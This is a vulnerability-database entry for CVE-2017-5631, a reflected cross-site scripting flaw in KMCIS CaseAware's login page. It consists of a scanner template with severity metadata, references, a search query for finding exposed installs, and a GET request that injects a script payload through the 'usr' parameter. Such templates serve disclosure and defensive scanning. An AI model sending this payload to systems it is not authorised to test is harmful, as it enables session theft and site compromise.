CVE-2017-5631: KMCIS CaseAware - Cross-Site Scripting

2025-08-01 KMCIS CaseAware PoC Public

Description

KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string.

PoC

id: CVE-2017-5631

info:
  name: KMCIS CaseAware - Cross-Site Scripting
  author: edoardottt
  severity: medium
  description: KMCIS CaseAware contains a reflected cross-site scripting vulnerability via the user parameter transmitted in the login.php query string.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    To remediate this vulnerability, it is recommended to apply the latest patches or updates provided by the vendor.
  reference:
    - https://www.openbugbounty.org/incidents/228262/
    - https://www.exploit-db.com/exploits/42042/
    - https://nvd.nist.gov/vuln/detail/CVE-2017-5631
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-5631
    cwe-id: CWE-79
    epss-score: 0.04487
    epss-percentile: 0.9098
    cpe: cpe:2.3:a:kmc_information_systems:caseaware:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: kmc_information_systems
    product: caseaware
    fofa-query: title="caseaware"
  tags: cve2017,cve,edb,xss,caseaware,kmc_information_systems,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/login.php?mid=0&usr=admin%27%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "'></script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402202e8ca1b4031a48f0aeb843fe89147eda794c20c1f09c95e4b9825f47994711ee02204cd505512e2ce278b35a2f22f26b94c3494316b455fd70803f928cdc3ad9d9a0:922c64590222798bb761d5b6d8e72950

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